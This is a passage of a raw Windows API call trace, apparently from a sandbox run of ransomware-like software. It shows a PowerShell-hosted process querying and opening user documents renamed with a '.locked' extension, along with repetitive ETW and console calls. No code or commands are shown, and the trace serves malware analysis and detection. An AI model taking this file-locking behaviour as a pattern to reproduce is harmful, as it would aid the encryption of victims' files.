ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x49, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.053] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0132.053] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4a, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.054] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x49, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.054] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4a, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4a, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.055] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\1FC6.ppt.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\9lmlja8pk0rgo1ucb\\1fc6.ppt.locked")) returned 0x20 [0132.056] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\1FC6.ppt.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\9lmlja8pk0rgo1ucb\\1fc6.ppt.locked")) returned 0x20 [0132.056] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\1FC6.ppt.locked", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\1FC6.ppt.locked", lpFilePart=0x0) returned 0x41 [0132.056] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\1FC6.ppt.locked", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\1FC6.ppt.locked", lpFilePart=0x0) returned 0x41 [0132.056] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4a, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.056] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\1FC6.ppt", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\1FC6.ppt", lpFilePart=0x0) returned 0x3a [0132.056] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0132.056] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4b, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.056] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4a, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.057] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4b, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4b, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.059] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4b, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.059] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0132.059] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4c, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.059] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4b, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.059] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4c, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4c, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.061] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4c, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.061] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0132.061] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4d, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.061] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4c, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.061] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4d, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4d, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.063] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4d, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.063] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0132.063] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4e, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.063] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4d, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.063] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4e, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4e, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.065] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4e, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.065] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0132.065] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4f, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.065] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4e, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.065] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4f, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4f, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.067] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4f, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0132.069] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x99add1c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0132.069] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade98) returned 1 [0132.070] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\1FC6.ppt.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\9lmlja8pk0rgo1ucb\\1fc6.ppt.locked"), fInfoLevelId=0x0, lpFileInformation=0x6baa5b0 | out: lpFileInformation=0x6baa5b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11e05daa, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0x11e05daa, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x11e05daa, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0x47c4)) returned 1 [0132.070] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade94) returned 1 [0132.070] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\1FC6.ppt.locked", nBufferLength=0x105, lpBuffer=0x99ad974, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\1FC6.ppt.locked", lpFilePart=0x0) returned 0x41 [0132.070] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\9LmLjA8pk0rGO1UCb\\1FC6.ppt.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\9lmlja8pk0rgo1ucb\\1fc6.ppt.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x874 [0132.070] GetFileInformationByHandle (in: hFile=0x874, lpFileInformation=0x99adee0 | out: lpFileInformation=0x99adee0) returned 1 [0132.070] CloseHandle (hObject=0x874) returned 1 [0132.071] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae54c | out: lpConsoleScreenBufferInfo=0x99ae54c) returned 1 [0132.130] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae554 | out: lpMode=0x99ae554) returned 1 [0132.178] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae54c, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae54c*=0x2) returned 1 [0132.272] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4f0 | out: lpConsoleScreenBufferInfo=0x99ae4f0) returned 1 [0132.500] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae544 | out: lpConsoleScreenBufferInfo=0x99ae544) returned 1 [0132.554] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae54c | out: lpMode=0x99ae54c) returned 1 [0132.588] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae544, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae544*=0x2) returned 1 [0132.612] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae554 | out: lpConsoleScreenBufferInfo=0x99ae554) returned 1 [0132.647] GetConsoleOutputCP () returned 0x1b5 [0132.648] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2d8) returned 0 [0132.648] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae3a4 | out: lpConsoleScreenBufferInfo=0x99ae3a4) returned 1 [0132.649] GetConsoleOutputCP () returned 0x1b5 [0132.650] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae340, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae340) returned 0 [0132.650] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae3ac | out: lpMode=0x99ae3ac) returned 1 [0132.651] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6bd2568*, nNumberOfCharsToWrite=0x40, lpNumberOfCharsWritten=0x99ae3a4, lpReserved=0x0 | out: lpBuffer=0x6bd2568*, lpNumberOfCharsWritten=0x99ae3a4*=0x40) returned 1 [0132.652] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae3ac | out: lpMode=0x99ae3ac) returned 1 [0132.654] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae3a4, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae3a4*=0x2) returned 1 [0132.665] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4ac | out: lpConsoleScreenBufferInfo=0x99ae4ac) returned 1 [0132.666] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4b4 | out: lpMode=0x99ae4b4) returned 1 [0132.667] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4ac, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4ac*=0x2) returned 1 [0132.686] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae544 | out: lpConsoleScreenBufferInfo=0x99ae544) returned 1 [0132.703] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae54c | out: lpMode=0x99ae54c) returned 1 [0132.713] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae544, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae544*=0x2) returned 1 [0132.724] GetConsoleOutputCP () returned 0x1b5 [0132.737] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0132.737] GetConsoleOutputCP () returned 0x1b5 [0132.737] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0132.737] GetConsoleOutputCP () returned 0x1b5 [0132.738] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0132.738] GetConsoleOutputCP () returned 0x1b5 [0132.738] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0132.738] GetConsoleOutputCP () returned 0x1b5 [0132.739] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0132.739] GetConsoleOutputCP () returned 0x1b5 [0132.739] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0132.739] GetConsoleOutputCP () returned 0x1b5 [0132.739] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0132.739] GetConsoleOutputCP () returned 0x1b5 [0132.741] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0132.741] GetConsoleOutputCP () returned 0x1b5 [0132.751] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0132.751] GetConsoleOutputCP () returned 0x1b5 [0132.752] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0132.752] GetConsoleOutputCP () returned 0x1b5 [0132.753] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0132.753] GetConsoleOutputCP () returned 0x1b5 [0132.762] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0132.762] GetConsoleOutputCP () returned 0x1b5 [0132.763] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0132.763] GetConsoleOutputCP () returned 0x1b5 [0132.765] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0132.765] GetConsoleOutputCP () returned 0x1b5 [0132.771] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0132.771] GetConsoleOutputCP () returned 0x1b5 [0132.772] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0132.772] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4a0 | out: lpConsoleScreenBufferInfo=0x99ae4a0) returned 1 [0132.772] GetConsoleOutputCP () returned 0x1b5 [0132.773] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae43c) returned 0 [0132.773] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0132.773] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6bd3404*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x6bd3404*, lpNumberOfCharsWritten=0x99ae4a0*=0x77) returned 1 [0132.774] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0132.774] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4a0*=0x2) returned 1 [0132.779] GetConsoleOutputCP () returned 0x1b5 [0132.779] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0132.779] GetConsoleOutputCP () returned 0x1b5 [0132.779] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0132.779] GetConsoleOutputCP () returned 0x1b5 [0132.780] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0132.780] GetConsoleOutputCP () returned 0x1b5 [0132.780] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0132.780] GetConsoleOutputCP () returned 0x1b5 [0132.781] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0132.781] GetConsoleOutputCP () returned 0x1b5 [0132.781] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0132.781] GetConsoleOutputCP () returned 0x1b5 [0132.782] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0132.782] GetConsoleOutputCP () returned 0x1b5 [0132.782] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0132.782] GetConsoleOutputCP () returned 0x1b5 [0132.783] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0132.783] GetConsoleOutputCP () returned 0x1b5 [0132.783] TranslateCharsetInfo (in: lpSrc=0x1b5, 